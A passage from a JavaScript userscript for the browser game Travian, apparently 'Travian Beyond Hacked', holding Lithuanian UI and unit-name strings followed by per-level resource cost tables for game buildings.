'Mūradaužys',\n\t'R8': 'Ugninė katapulta',\n\t'R9': 'Senatorius',\n\t'R10': 'Romėnų kolonistas',\n\t'T1': 'Pėstininkas su kuoka', // Teutons\n\t'T2': 'Ietininkas',\n\t'T3': 'Pėstininkas su kirviu',\n\t'T4': 'Žvalgas',\n\t'T5': 'Paladinas',\n\t'T6': 'Germanų raitelis',\n\t'T7': 'Taranas',\n\t'T8': 'Katapulta',\n\t'T9': 'Germanų vadas',\n\t'T10': 'Kolonistas',\n\t'G1': 'Falanga', // Gauls\n\t'G2': 'Pėstininkas su kardu',\n\t'G3': 'Pėdsekys',\n\t'G4': 'Raitas perkūnas',\n\t'G5': 'Raitas druidas',\n\t'G6': 'Raitas hedujas',\n\t'G7': 'Taranas',\n\t'G8': 'Trebušetas',\n\t'G9': 'Kunigaikštis ',\n\t'G10': 'Galų kolonistas',\n\t'N1': 'Žiurkė', // Nature\n\t'N2': 'Voras',\n\t'N3': 'Serpent',\n\t'N4': 'Žiurkė',\n\t'N5': 'Wild boar',\n\t'N6': 'Vilkas',\n\t'N7': 'Meška',\n\t'N8': 'Krokodilas',\n\t'N9': 'Tigras',\n\t'N10': 'Dramblys',\n\t'LVL': 'lygis',\t\t\t// Very important\n\t'MARC': 'Merchants',\t\t// Very important\n\t'TOTAL': 'Viso',\n\t'WASTED_SPACE': 'Wasted Space',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Important',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Text',\n\t'SAVEREPORT': 'išsaugoti ataskaitą',\n\t'ANONYMIZE': 'anoniminis',\n\t'LBA0': 'Total size of attack',\n\t'LBA2': 'Total size of protection against infantry',\n\t'LBA3': 'Total size of protection against a cavalry',\n\t'LBA4': 'The general statistics',\n\t'LBA5': 'Difference of losses',\n\t'LBA6': 'Consumption',\n\t'LBA7': 'Herojaus patirtis',\n\t'LBA9': 'Equivalent lost in grain',\n\t'LBA10': 'Nominal consumption of grain by army',\n\t'LBA11': 'The hero was not',\n\t'LBA12': 'Karžygys',\n\t'LBA13': 'Quantity of the carried away raw material',\n\t'LBA14': 'The maximal capacity survived',\n\t'LBA15': 'Ataka',\n\t'LBA16': 'Gynyba',\n\t'LBA17': 'Copy and go to Combat simulator',\n\t'LBA18': 'Paste',\n\t'BBC': 'Galimas BBcodas',\n\t'BBC_B': 'Paryškinimas: [b]Text[/b]',\n\t'BBC_I': 'Kursyvas: [i]Text[/i]',\n\t'BBC_U': 'Pabraukimas: [u]Text[/u]',\n\t'BBC_C': 'Centravimas: [c]Text[/c]',\n\t'BBC_COLOR': 'Spalvos: [color=blue]Text[/color] Tipp: You can use these too: color=#0000FF and #00F',\n\t'BBC_URL': 'Nuoroda: [url]http://url[/url] or [url=http://url]Link text[/url]',\n\t'BBC_IMG': 'Paveiksliukas: [img]URL[/img]',\n\t'THS0': 'Partitis:',\n\t'THS1': 'Kitas lygis:',\n\t'THS2': 'Reikia:'\n\t}\n\tbreak;\n}\n\n\t//Makes it use default language as English for non translated words in some languages...\n\tfor(a in newLang)\n\t\taLang[a] = newLang[a];\n\n\t// Lenyador - Wood\n\tvar lenyadorCost = [\n\t\t[0, 0, 0, 0],\n\t\t[40, 100, 50, 60],\n\t\t[65, 165, 85, 100],\n\t\t[110, 280, 140, 165],\n\t\t[185, 465, 235, 280],\n\t\t[310, 780, 390, 465],\n\t\t[520, 1300, 650, 780],\n\t\t[870, 2170, 1085, 1300],\n\t\t[1450, 3625, 1810, 2175],\n\t\t[2420, 6050, 3025, 3630],\n\t\t[4040, 10105, 5050, 6060],\n\t\t[6750, 16870, 8435, 10125],\n\t\t[11270, 28175, 14090, 16905],\n\t\t[18820, 47055, 23525, 28230],\n\t\t[31430, 78580, 39290, 47150],\n\t\t[52490, 131230, 65615, 78740],\n\t\t[87660, 219155, 109575, 131490],\n\t\t[146395, 365985, 182995, 219590],\n\t\t[244480, 611195, 305600, 366715],\n\t\t[408280, 1020695, 510350, 612420],\n\t\t[681825, 1704565, 852280, 1022740] // Level 20\n\t];\n\n\t// Barrera - Clay\n\tvar barroCost = [\n\t\t[0, 0, 0, 0],\n\t\t[80, 40, 80, 50],\n\t\t[135, 65, 135, 85],\n\t\t[225, 110, 225, 140],\n\t\t[375, 185, 375, 235],\n\t\t[620, 310, 620, 390],\t// Level 5\n\t\t[1040, 520, 1040, 650],\n\t\t[1735, 870, 1735, 1085],\n\t\t[2900, 1450, 2900, 1810],\n\t\t[4840, 2420, 4840, 3025],\n\t\t[8080, 4040, 8080, 5050],\t// Level 10\n\t\t[13500, 6750, 13500, 8435],\n\t\t[22540, 11270, 22540, 14090],\n\t\t[37645, 18820, 37645, 23525],\n\t\t[62865, 31430, 62865, 39290],\n\t\t[104985, 52490, 104985, 65615],\t// Level 15\n\t\t[175320, 87660, 175320, 109575],\n\t\t[292790, 146395, 292790, 182995],\n\t\t[488955, 244480, 488955, 305600],\n\t\t[816555, 408280, 816555, 510350],\n\t\t[1363650, 681825, 1363650, 852280]\t// Level 20\n\t];\n\n\t// Mina de hierro - Iron\n\tvar hierroCost = [\n\t\t[0, 0, 0, 0],\n\t\t[100, 80, 30, 60],\n\t\t[165, 135, 50, 100],\n\t\t[280, 225, 85, 165],\n\t\t[465, 375, 140, 280],\n\t\t[780, 620, 235, 465],\t// Level 5\n\t\t[1300, 1040, 390, 780],\n\t\t[2170, 1735, 650, 1300],\n\t\t[3625, 2900, 1085, 2175],\n\t\t[6050, 4840, 1815, 3630],\n\t\t[10105, 8080, 3030, 6060],\t// Level 10\n\t\t[16870, 13500, 5060, 10125],\n\t\t[28175, 22540, 8455, 16905],\n\t\t[47055, 37645, 14115, 28230],\n\t\t[78580, 62865, 23575, 47150],\n\t\t[131230, 104985, 39370, 78740],\t// Level 15\n\t\t[219155, 175320, 65745, 131490],\n\t\t[365985, 292790, 109795, 219590],\n\t\t[611195, 488955, 183360, 366715],\n\t\t[1020695, 816555, 306210, 612420],\n\t\t[1704565, 1363650, 511370, 1022740]\t// Level 20\n\t];\n\n\n\t// Granja - Crop\n\tvar cerealCost = [\n\t\t[0, 0, 0, 0],\n\t\t[70, 90, 70, 20],\n\t\t[115, 150, 115, 35],\n\t\t[195, 250, 195, 55],\n\t\t[325, 420, 325, 95],\n\t\t[545, 700, 545, 155],\t// Level 5\n\t\t[910, 1170, 910, 260],\n\t\t[1520, 1950, 1520, 435],\n\t\t[2535, 3260, 2535, 725],\n\t\t[4235, 5445, 4235, 1210],\n\t\t[7070, 9095, 7070, 2020],\t// Level 10\n\t\t[11810, 15185, 11810, 3375],\n\t\t[19725, 25360, 19725, 5635],\n\t\t[32940, 42350, 32940, 9410],\n\t\t[55005, 70720, 55005, 15715],\n\t\t[91860, 118105, 91860, 26245],\t// Level 15\n\t\t[153405, 197240, 153405, 43830],\n\t\t[256190, 329385, 256190, 73195],\n\t\t[427835, 550075, 427835, 122240],\n\t\t[714485, 918625, 714485, 204140],\n\t\t[1193195, 1534105, 1193195, 340915]\t// Level 20\n\t];\n\n\t// Almacen - warehouse\n\tvar warehouseCost = [\n\t\t[0, 0, 0, 0],\n\t\t[130, 160, 90, 40],\n\t\t[165, 205, 115, 50],\n\t\t[215, 260, 145, 65],\n\t\t[275, 335, 190, 85],\n\t\t[350, 430, 240, 105],\t// Level 5\n\t\t[445, 550, 310, 135],\n\t\t[570, 705, 395, 175],\n\t\t[730, 900, 505, 225],\n\t\t[935, 1155, 650, 290],\n\t\t[1200, 1475, 830, 370],\t// Level 10\n\t\t[1535, 1890, 1065, 470],\n\t\t[1965, 2420, 1360, 605],\n\t\t[2515, 3095, 1740, 775],\n\t\t[3220, 3960, 2230, 990],\n\t\t[4120, 5070, 2850, 1270],\t// Level 15\n\t\t[5275, 6490, 3650, 1625],\n\t\t[6750, 8310, 4675, 2075],\n\t\t[8640, 10635, 5980, 2660],\n\t\t[11060, 13610, 7655, 3405],\n\t\t[14155, 17420, 9800, 4355]\t// Level 20\n\t];\n\n\t// Academia\n\tvar academyCost = [\n\t\t[0, 0, 0, 0], \t\t\t// Level 0\n\t\t[220, 160, 90, 40],\n\t\t[280, 205, 115, 50],\n\t\t[360, 260, 145, 65],\n\t\t[460, 335, 190, 85],\n\t\t[590, 430, 240, 105],\t// Level 5\n\t\t[755, 550, 310, 135],\n\t\t[970, 705, 395, 175],\n\t\t[1240, 900, 505, 225],\n\t\t[1585, 1155, 650, 290],\n\t\t[2030, 1475, 830, 370],\t// Level 10\n\t\t[2595, 1890, 1065, 470],\n\t\t[3325, 2420, 1360, 605],\n\t\t[4255, 3095, 1740, 775],\n\t\t[5445, 3960, 2230, 990],\n\t\t[6970, 5070, 2850, 1270],\t// Level 15\n\t\t[8925, 6490, 3650, 1625],\n\t\t[11425, 8310, 4675, 2075],\n\t\t[14620, 10635, 5980, 2660],\n\t\t[18715, 13610, 7655, 3405],\n\t\t[23955, 17420, 9800, 4355]\t// Level 20\n\t];\n\n\t// Molino - Mill\n\tvar flourMillCost = [\n\t\t[0, 0, 0, 0], \t\t\t// Level 0\n\t\t[500, 440, 380, 1240],\n\t\t[900, 790, 685, 2230],\n\t\t[1620, 1425, 1230, 4020],\n\t\t[2915, 2565, 2215, 7230],\n\t\t[5250, 4620, 3990, 13015] // Level 5\n\t];\n\n\t// Ladrillar -\n\tvar brickyardCost = [\n\t\t[0, 0, 0, 0], \t\t\t// Level 0\n\t\t[440, 480, 320, 50],\n\t\t[790, 865, 575, 90],\n\t\t[1425, 1555, 1035, 160],\n\t\t[2565, 2800, 1865, 290],\n\t\t[4620, 5040, 3360, 525]\t// Level 5\n\t];\n\n\t// Serreria\n\tvar sawmillCost = [\n\t\t[0, 0, 0, 0], \t\t\t// Level 0\n\t\t[520, 380, 290, 90],\n\t\t[935, 685, 520, 160],\n\t\t[1685, 1230, 940, 290],\n\t\t[3035, 2215, 1690, 525],\n\t\t[5460, 3990, 3045, 945]\t// Level 5\n\t];\n\n\t// Fundicion de hierro\n\tvar ironFoundryCost = [\n\t\t[0, 0, 0, 0], \t\t\t// Level 0\n\t\t[200, 450, 510, 120],\n\t\t[360, 810, 920, 215],\n\t\t[650, 1460, 1650, 390],\n\t\t[1165, 2625, 2975, 700],\n\t\t[2100, 4725, 5355, 1260]\t// Level 5\n\t];\n\n\t// Panaderia\n\tvar bakeryCost = [\n\t\t[0, 0, 0, 0], \t\t\t// Level 0\n\t\t[1200, 1480, 870, 1600],\n\t\t[2160, 2665, 1565, 2880],\n\t\t[3890, 4795, 2820, 5185],\n\t\t[7000, 8630, 5075, 9330],\n\t\t[12595, 15535, 9135, 16795]\t// Level 5\n\t];\n\n\t// Mercado\n\tvar marketplaceCost = [\n\t\t[0, 0, 0, 0], \t\t\t// Level 0\n\t\t[80, 70, 120, 70],\n\t\t[100, 90, 155, 90],\n\t\t[130, 115, 195, 115],\n\t\t[170, 145, 250, 145],\n\t\t[215, 190, 320, 190],\t// Level 5\n\t\t[275, 240, 410, 240],\n\t\t[350, 310, 530, 310],\n\t\t[450, 395, 675, 395],\n\t\t[575, 505, 865, 505],\n\t\t[740, 645, 1105, 645],\t// Level 10\n\t\t[945, 825, 1415, 825],\n\t\t[1210, 1060, 1815, 1060],\n\t\t[1545, 1355, 2320, 1355],\n\t\t[1980, 1735, 2970, 1735],\n\t\t[2535, 2220, 3805, 2220],\t// Level 15\n\t\t[3245, 2840, 4870, 2840],\n\t\t[4155, 3635, 6230, 3635],\n\t\t[5315, 4650, 7975, 4650],\n\t\t[6805, 5955, 10210, 5955],\n\t\t[8710, 7620, 13065, 7620]\t// Level 20\n\t];\n\n\t// Granero\n\tvar granaryCost = [\n\t\t[0, 0, 0, 0],\n\t\t[80, 100, 70, 20],\n\t\t[100, 130, 90, 25],\n\t\t[130, 165, 115, 35],\n\t\t[170, 210, 145, 40],\n\t\t[215, 270, 190, 55],\t// Level 5\n\t\t[275, 345, 240, 70],\n\t\t[350, 440, 310, 90],\n\t\t[450, 565, 395, 115],\n\t\t[575, 720, 505, 145],\n\t\t[740, 920, 645, 185],\t// Level 10\n\t\t[945, 1180, 825, 235],\n\t\t[1210, 1510, 1060, 300],\n\t\t[1545, 1935, 1355, 385],\n\t\t[1980, 2475, 1735, 495],\n\t\t[2535, 3170, 2220, 635],\t// Level 15\n\t\t[3245, 4055, 2840, 810],\n\t\t[4155, 5190, 3635, 1040],\n\t\t[5315, 6645, 4650, 1330],\n\t\t[6805, 8505, 5955, 1700],\n\t\t[8710, 10890, 7620, 2180]\t// Level 20\n\t];\n\n\t// Armeria\n\tvar blacksmithCost = [\n\t\t[0, 0, 0, 0],\n\t\t[170, 200, 380, 130],\n\t\t[220, 255, 485, 165],\n\t\t[280, 330, 625, 215],\n\t\t[355, 420, 795, 275],\n\t\t[455, 535, 1020, 350],\t// Level 5\n\t\t[585, 685, 1305, 445],\n\t\t[750, 880, 1670, 570],\n\t\t[955, 1125, 2140, 730],\n\t\t[1225, 1440, 2740, 935],\n\t\t[1570, 1845, 3505, 1200],\t// Level 10\n\t\t[2005, 2360, 4485, 1535],\n\t\t[2570, 3020, 5740, 1965],\n\t\t[3290, 3870, 7350, 2515],\n\t\t[4210, 4950, 9410, 3220],\n\t\t[5390, 6340, 12045, 4120],\t// Level 15\n\t\t[6895, 8115, 15415, 5275],\n\t\t[8825, 10385, 19730, 6750],\n\t\t[11300, 13290, 25255, 8640],\n\t\t[14460, 17015, 32325, 11060],\n\t\t[18510, 21780, 41380, 14155]\t// Level 20\n\t];\n\n\t// Armamentaria\n\tvar armouryCost = [\n\t\t[0, 0, 0, 0],\n\t\t[130, 210, 410, 130],\n\t\t[165, 270, 525, 165],\n\t\t[215, 345, 670, 215],\n\t\t[275, 440, 860, 275],\n\t\t[350, 565, 1100, 350],\t// Level 5\n\t\t[445, 720, 1410, 445],\n\t\t[570, 925, 1805, 570],\n\t\t[730, 1180, 2310, 730],\n\t\t[935, 1515, 2955, 935],\n\t\t[1200, 1935, 3780, 1200],\t// Level 10\n\t\t[1535, 2480, 4840, 1535],\n\t\t[1965, 3175, 6195, 1965],\n\t\t[2515, 4060, 7930, 2515],\n\t\t[3220, 5200, 10150, 3220],\n\t\t[4120, 6655, 12995, 4120],\t// Level 15\n\t\t[5275, 8520, 16630, 5275],\n\t\t[6750, 10905, 21290, 6750],\n\t\t[8640, 13955, 27250, 8640],\n\t\t[11060, 17865, 34880, 11060],\n\t\t[14155, 22865, 44645, 14155]\t// Level 20\n\t];\n\n\t// Edificio principal\n\tvar mainBuildingCost = [\n\t\t[0, 0, 0, 0],\n\t\t[70, 40, 60, 20],\n\t\t[90, 50, 75, 25],\n\t\t[115, 65, 100, 35],\n\t\t[145, 85, 125, 40],\n\t\t[190, 105, 160, 55],\t// Level 5\n\t\t[240, 135, 205, 70],\n\t\t[310, 175, 265, 90],\n\t\t[395, 225, 340, 115],\n\t\t[505, 290, 430, 145],\n\t\t[645, 370, 555, 185],\t// Level 10\n\t\t[825, 470, 710, 235],\n\t\t[1060, 605, 905, 300],\n\t\t[1355, 775, 1160, 385],\n\t\t[1735, 990, 1485, 495],\n\t\t[2220, 1270, 1900, 635],\t// Level 15\n\t\t[2840, 1625, 2435, 810],\n\t\t[3635, 2075, 3115, 1040],\n\t\t[4650, 2660, 3990, 1330],\n\t\t[5955, 3405, 5105, 1700],\n\t\t[7620, 4355, 6535, 2180]\t// Level 20\n\t];\n\n\t// Plaza de reuniones\n\tvar rallyPointCost = [\n\t\t[0, 0, 0, 0],\n\t\t[110, 160, 90, 70],\n\t\t[140, 205, 115, 90],\n\t\t[180, 260, 145, 115],\n\t\t[230, 335, 190, 145],\n\t\t[295, 430, 240, 190],\t// Level 5\n\t\t[380, 550, 310, 240],\n\t\t[485, 705, 395, 310],\n\t\t[620, 900, 505, 395],\n\t\t[795, 1155, 650, 505],\n\t\t[1015, 1475, 830, 645],\t//Level 10\n\t\t[1300, 1890, 1065, 825],\n\t\t[1660, 2420, 1360, 1060],\n\t\t[2130, 3095, 1740, 1355],\n\t\t[2725, 3960, 2230, 1735],\n\t\t[3485, 5070, 2850, 2220],\t// Level 15\n\t\t[4460, 6490, 3650, 2840],\n\t\t[5710, 8310, 4675, 3635],\n\t\t[7310, 10635, 5980, 4650],\n\t\t[9360, 13610, 7655, 5955],\n\t\t[11980, 17420, 9800, 7620]\t// Level 20\n\t];\n\n\t// Embajada\n\tvar embassyCost = [\n\t\t[0, 0, 0, 0],\n\t\t[180, 130, 150, 80],\n\t\t[230, 165, 190, 100],\n\t\t[295, 215, 245, 130],\n\t\t[375, 275, 315, 170],\n\t\t[485, 350, 405, 215],\t// Level 5\n\t\t[620, 445, 515, 275],\n\t\t[790, 570, 660, 350],\n\t\t[1015, 730, 845, 450],\n\t\t[1295, 935, 1080, 575],\n\t\t[1660, 1200, 1385, 740],\t// Level 10\n\t\t[2125, 1535, 1770, 945],\n\t\t[2720, 1965, 2265, 1210],\n\t\t[3480, 2515, 2900, 1545],\n\t\t[4455, 3220, 3715, 1980],\n\t\t[5705, 4120, 4755, 2535],\t// Level 15\n\t\t[7300, 5275, 6085, 3245],\n\t\t[9345, 6750, 7790, 4155],\n\t\t[11965, 8640, 9970, 5315],\n\t\t[15315, 11060, 12760, 6805],\n\t\t[19600, 14155, 16335, 8710]\t// Level 20\n\t];\n\n\t// Cuartel\n\tvar barracksCost = [\n\t\t[0, 0, 0, 0],\n\t\t[210, 140, 260, 120],\n\t\t[270, 180, 335, 155],\n\t\t[345, 230, 425, 195],\n\t\t[440, 295, 545, 250],\n\t\t[565, 375, 700, 320],\t// Level 5\n\t\t[720, 480, 895, 410],\n\t\t[925, 615, 1145, 530],\n\t\t[1180, 790, 1465, 675],\n\t\t[1515, 1010, 1875, 865],\n\t\t[1935, 1290, 2400, 1105],\t// Level 10\n\t\t[2480, 1655, 3070, 1415],\n\t\t[3175, 2115, 3930, 1815],\n\t\t[4060, 2710, 5030, 2320],\n\t\t[5200, 3465, 6435, 2970],\n\t\t[6655, 4435, 8240, 3805],\t// Level 15\n\t\t[8520, 5680, 10545, 4870],\n\t\t[10905, 7270, 13500, 6230],\n\t\t[13955, 9305, 17280, 7975],\n\t\t[17865, 11910, 22120, 10210],\n\t\t[22865, 15245, 28310, 13065]\t// Level 20\n\t];\n\n\t// Corral / Establo\n\tvar stableCost = [\n\t\t[0, 0, 0, 0],\n\t\t[260, 140, 220, 100],\n\t\t[335, 180, 280, 130],\n\t\t[425, 230, 360, 165],\n\t\t[545, 295, 460, 210],\n\t\t[700, 375, 590, 270],\t//Level 5\n\t\t[895, 480, 755, 345],\n\t\t[1145, 615, 970, 440],\n\t\t[1465, 790, 1240, 565],\n\t\t[1875, 1010, 1585, 720],\n\t\t[2400, 1290, 2030, 920],\t// Level 10\n\t\t[3070, 1655, 2595, 1180],\n\t\t[3930, 2115, 3325, 1510],\n\t\t[5030, 2710, 4255, 1935],\n\t\t[6435, 3465, 5445, 2475],\n\t\t[8240, 4435, 6970, 3170],\t// Level 15\n\t\t[10545, 5680, 8925, 4055],\n\t\t[13500, 7270, 11425, 5190],\n\t\t[17280, 9305, 14620, 6645],\n\t\t[22120, 11910, 18715, 8505],\n\t\t[28310, 15245, 23955, 10890]\t// Level 20\n\t];\n\n\t// Taller\n\tvar workshopCost = [\n\t\t[0, 0, 0, 0],\n\t\t[460, 510, 600, 320],\n\t\t[590, 655, 770, 410],\n\t\t[755, 835, 985, 525],\n\t\t[965, 1070, 1260, 670],\n\t\t[1235, 1370, 1610, 860],\t// Level 5\n\t\t[1580, 1750, 2060, 1100],\n\t\t[2025, 2245, 2640, 1405],\n\t\t[2590, 2870, 3380, 1800],\n\t\t[3315, 3675, 4325, 2305],\n\t\t[4245, 4705, 5535, 2950],\t// Level 10\n\t\t[5430, 6020, 7085, 3780],\n\t\t[6950, 7705, 9065, 4835],\n\t\t[8900, 9865, 11605, 6190],\n\t\t[11390, 12625, 14855, 7925],\n\t\t[14580, 16165, 19015, 10140],\t// Level 15\n\t\t[18660, 20690, 24340, 12980],\n\t\t[23885, 26480, 31155, 16615],\n\t\t[30570, 33895, 39875, 21270],\n\t\t[39130, 43385, 51040, 27225],\n\t\t[50090, 55535, 65335, 34845]\t// Level 20\n\t];\n\n\t// Escondite - Cranny\n\tvar crannyCost = [\n\t\t[0, 0, 0, 0],\n\t\t[40, 50, 30, 10],\n\t\t[50, 65, 40, 15],\n\t\t[65, 80, 50, 15],\n\t\t[85, 105, 65, 20],\n\t\t[105, 135, 80, 25],\t// Level 5\n\t\t[135, 170, 105, 35],\n\t\t[175, 220, 130, 45],\n\t\t[225, 280, 170, 55],\n\t\t[290, 360, 215, 70],\n\t\t[370, 460, 275, 90]\t// Level 10\n\t];\n\n\t// Ayuntamiento - Townhall\n\tvar ayuntamientoCost = [\n\t\t[0, 0, 0, 0],\n\t\t[1250, 1110, 1260, 600],\n\t\t[1600, 1420, 1615, 770],\n\t\t[2050, 1820, 2065, 985],\n\t\t[2620, 2330, 2640, 1260],\n\t\t[3355, 2980, 3380, 1610],\t// Level 5\n\t\t[4295, 3815, 4330, 2060],\n\t\t[5500, 4880, 5540, 2640],\n\t\t[7035, 6250, 7095, 3380],\n\t\t[9005, 8000, 9080, 4325],\n\t\t[11530, 10240, 11620, 5535],\t// Level 10\n\t\t[14755, 13105, 14875, 7085],\n\t\t[18890, 16775, 19040, 9065],\n\t\t[24180, 21470, 24370, 11605],\n\t\t[30950, 27480, 31195, 14855],\n\t\t[39615, 35175, 39930, 19015],\t// Level 15\n\t\t[50705, 45025, 51110, 24340],\n\t\t[64905, 57635, 65425, 31155],\n\t\t[83075, 73770, 83740, 39875],\n\t\t[106340, 94430, 107190, 51040],\n\t\t[136115, 120870, 137200, 65335]\t// Level 20\n\t];\n\n\t// Residencia\n\tvar residenceCost = [\n\t\t[0, 0, 0, 0],\n\t\t[580, 460, 350, 180],\n\t\t[740, 590, 450, 230],\n\t\t[950, 755, 575, 295],\n\t\t[1215, 965, 735, 375],\n\t\t[1555, 1235, 940, 485],\t// Level 5\n\t\t[1995, 1580, 1205, 620],\n\t\t[2550, 2025, 1540, 790],\n\t\t[3265, 2590, 1970, 1015],\n\t\t[4180, 3315, 2520, 1295],\n\t\t[5350, 4245, 3230, 1660],\t// Level 10\n\t\t[6845, 5430, 4130, 2125],\n\t\t[8765, 6950, 5290, 2720],\n\t\t[11220, 8900, 6770, 3480],\n\t\t[14360, 11390, 8665, 4455],\n\t\t[18380, 14580, 11090, 5705],\t// Level 15\n\t\t[23530, 18660, 14200, 7300],\n\t\t[30115, 23885, 18175, 9345],\n\t\t[38550, 30570, 23260, 11965],\n\t\t[49340, 39130, 29775, 15315],\n\t\t[63155, 50090, 38110, 19600]\t// Level 20\n\t];\n\n\t// Palacio\n\tvar palaceCost = [\n\t\t[0, 0, 0, 0],\n\t\t[550, 800, 750, 250],\n\t\t[705, 1025, 960, 320],\n\t\t[900, 1310, 1230, 410],\n\t\t[1155, 1680, 1575, 525],\n\t\t[1475, 2145, 2015, 670],\t// Level 5\n\t\t[1890, 2750, 2575, 860],\n\t\t[2420, 3520, 3300, 1100],\n\t\t[3095, 4505, 4220, 1405],\n\t\t[3965, 5765, 5405, 1800],\n\t\t[5075, 7380, 6920, 2305],\t// Level 10\n\t\t[6495, 9445, 8855, 2950],\n\t\t[8310, 12090, 11335, 3780],\n\t\t[10640, 15475, 14505, 4835],\n\t\t[13615, 19805, 18570, 6190],\n\t\t[17430, 25355, 23770, 7925],\t// Level 15\n\t\t[22310, 32450, 30425, 10140],\n\t\t[28560, 41540, 38940, 12980],\n\t\t[36555, 53170, 49845, 16615],\n\t\t[46790, 68055, 63805, 21270],\n\t\t[59890, 87110, 81670, 27225]\t// Level 20\n\t];\n\n\t// Plaza de torneos\n\tvar tournamentSquareCost = [\n\t\t[0, 0, 0, 0],\n\t\t[1750, 2250, 1530, 240],\n\t\t[2240, 2880, 1960, 305],\n\t\t[2865, 3685, 2505, 395],\n\t\t[3670, 4720, 3210, 505],\n\t\t[4700, 6040, 4105, 645],\t// Level 5\n\t\t[6015, 7730, 5255, 825],\n\t\t[7695, 9895, 6730, 1055],\n\t\t[9850, 12665, 8615, 1350],\n\t\t[12610, 16215, 11025, 1730],\n\t\t[16140, 20755, 14110, 2215],\t// Level 10\n\t\t[20660, 26565, 18065, 2835],\n\t\t[26445, 34000, 23120, 3625],\n\t\t[33850, 43520, 29595, 4640],\n\t\t[43330, 55705, 37880, 5940],\n\t\t[55460, 71305, 48490, 7605],\t// Level 15\n\t\t[70990, 91270, 62065, 9735],\n\t\t[90865, 116825, 79440, 12460],\n\t\t[116305, 149540, 101685, 15950],\n\t\t[148875, 191410, 130160, 20415],\n\t\t[190560, 245005, 166600, 26135]\t// Level 20\n\t];\n\n\t// Tesoro - Treasury\n\tvar tesoroCost = [\n\t\t[0, 0, 0, 0],\n\t\t[2880, 2740, 2580, 990],\n\t\t[3685, 3505, 3300, 1265],\n\t\t[4720, 4490, 4225, 1620],\n\t\t[6040, 5745, 5410, 2075],\n\t\t[7730, 7355, 6925, 2660],\t// Level 5\n\t\t[9895, 9415, 8865, 3400],\n\t\t[12665, 12050, 11345, 4355],\n\t\t[16215, 15425, 14525, 5575],\n\t\t[20755, 19745, 18590, 7135],\n\t\t[26565, 25270, 23795, 9130]\t// Level 10\n\t];\n\n\t// Oficina de comercio - Trade office\n\tvar oficinaComercioCost = [\n\t\t[0, 0, 0, 0],\n\t\t[1400, 1330, 1200, 400],\n\t\t[1790, 1700, 1535, 510],\n\t\t[2295, 2180, 1965, 655],\n\t\t[2935, 2790, 2515, 840],\n\t\t[3760, 3570, 3220, 1075],\t// Level 5\n\t\t[4810, 4570, 4125, 1375],\n\t\t[6155, 5850, 5280, 1760],\n\t\t[7880, 7485, 6755, 2250],\n\t\t[10090, 9585, 8645, 2880],\n\t\t[12915, 12265, 11070, 3690],\t// Level 10\n\t\t[16530, 15700, 14165, 4720],\n\t\t[21155, 20100, 18135, 6045],\n\t\t[27080, 25725, 23210, 7735],\n\t\t[34660, 32930, 29710, 9905],\n\t\t[44370, 42150, 38030, 12675],\t// Level 15\n\t\t[56790, 53950, 48680, 16225],\n\t\t[72690, 69060, 62310, 20770],\n\t\t[93045, 88395, 79755, 26585],\n\t\t[119100, 113145, 102085, 34030],\n\t\t[152445, 144825, 130670, 43555]\t// Level 20\n\t];\n\n\t// Cuartel grande\n\tvar greatBarrackCost = [\n\t\t[0, 0, 0, 0],\n\t\t[630, 420, 780, 360],\n\t\t[805, 540, 1000, 460],\n\t\t[1030, 690, 1280, 590],\n\t\t[1320, 880, 1635, 755],\n\t\t[1690, 1125, 2095, 965],\t// Level 5\n\t\t[2165, 1445, 2680, 1235],\n\t\t[2770, 1845, 3430, 1585],\n\t\t[3545, 2365, 4390, 2025],\n\t\t[4540, 3025, 5620, 2595],\n\t\t[5810, 3875, 7195, 3320],\t// Level 10\n\t\t[7440, 4960, 9210, 4250],\n\t\t[9520, 6345, 11785, 5440],\n\t\t[12185, 8125, 15085, 6965],\n\t\t[15600, 10400, 19310, 8915],\n\t\t[19965, 13310, 24720, 11410],\t// Level 15\n\t\t[25555, 17035, 31640, 14605],\n\t\t[32710, 21810, 40500, 18690],\n\t\t[41870, 27915, 51840, 23925],\n\t\t[53595, 35730, 66355, 30625],\n\t\t[68600, 45735, 84935, 39200]\t// Level 20\n\t];\n\n\t// Corral / Establo grande\n\tvar greatStableCost = [\n\t\t[0, 0, 0, 0],\n\t\t[780, 420, 660, 300],\n\t\t[1000, 540, 845, 385],\n\t\t[1280, 690, 1080, 490],\n\t\t[1635, 880, 1385, 630],\n\t\t[2095, 1125, 1770, 805],\t// Level 5\n\t\t[2680, 1445, 2270, 1030],\n\t\t[3430, 1845, 2905, 1320],\n\t\t[4390, 2365, 3715, 1690],\n\t\t[5620, 3025, 4755, 2160],\n\t\t[7195, 3875, 6085, 2765],\t// Level 10\n\t\t[9210, 4960, 7790, 3540],\n\t\t[11785, 6345, 9975, 4535],\n\t\t[15085, 8125, 12765, 5805],\n\t\t[19310, 10400, 16340, 7430],\n\t\t[24720, 13310, 20915, 9505],\t// Level 15\n\t\t[31640, 17035, 26775, 12170],\n\t\t[40500, 21810, 34270, 15575],\n\t\t[51840, 27915, 43865, 19940],\n\t\t[66355, 35730, 56145, 25520],\n\t\t[84935, 45735, 71870, 32665]\t// Level 20\n\t];\n\n\t// Muralla\n\tvar wallRomansCost = [\n\t\t[0, 0, 0, 0],\n\t\t[70, 90, 170, 70],\n\t\t[90, 115, 220, 90],\n\t\t[115, 145, 280, 115],\n\t\t[145, 190, 355, 145],\n\t\t[190, 240, 455, 190],\t// Level 5\n\t\t[240, 310, 585, 240],\n\t\t[310, 395, 750, 310],\n\t\t[395, 505, 955, 395],\n\t\t[505, 650, 1225, 505],\n\t\t[645, 830, 1570, 645],\t// LEvel 10\n\t\t[825, 1065, 2005, 825],\n\t\t[1060, 1360, 2570, 1060],\n\t\t[1355, 1740, 3290, 1355],\n\t\t[1735, 2230, 4210, 1735],\n\t\t[2220, 2850, 5390, 2220],\t// Level 15\n\t\t[2840, 3650, 6895, 2840],\n\t\t[3635, 4675, 8825, 3635],\n\t\t[4650, 5980, 11300, 4650],\n\t\t[5955, 7655, 14460, 5955],\n\t\t[7620, 9800, 18510, 7620]\t// Level 20\n\t];\n\n\t// Empalizada\n\tvar wallGaulsCost = [\n\t\t[0, 0, 0, 0],\n\t\t[160, 100, 80, 60],\n\t\t[205, 130, 100, 75],\n\t\t[260, 165, 130, 100],\n\t\t[335, 210, 170, 125],\n\t\t[430, 270, 215, 160],\t// Level 5\n\t\t[550, 345, 275, 205],\n\t\t[705, 440, 350, 265],\n\t\t[900, 565, 450, 340],\n\t\t[1155, 720, 575, 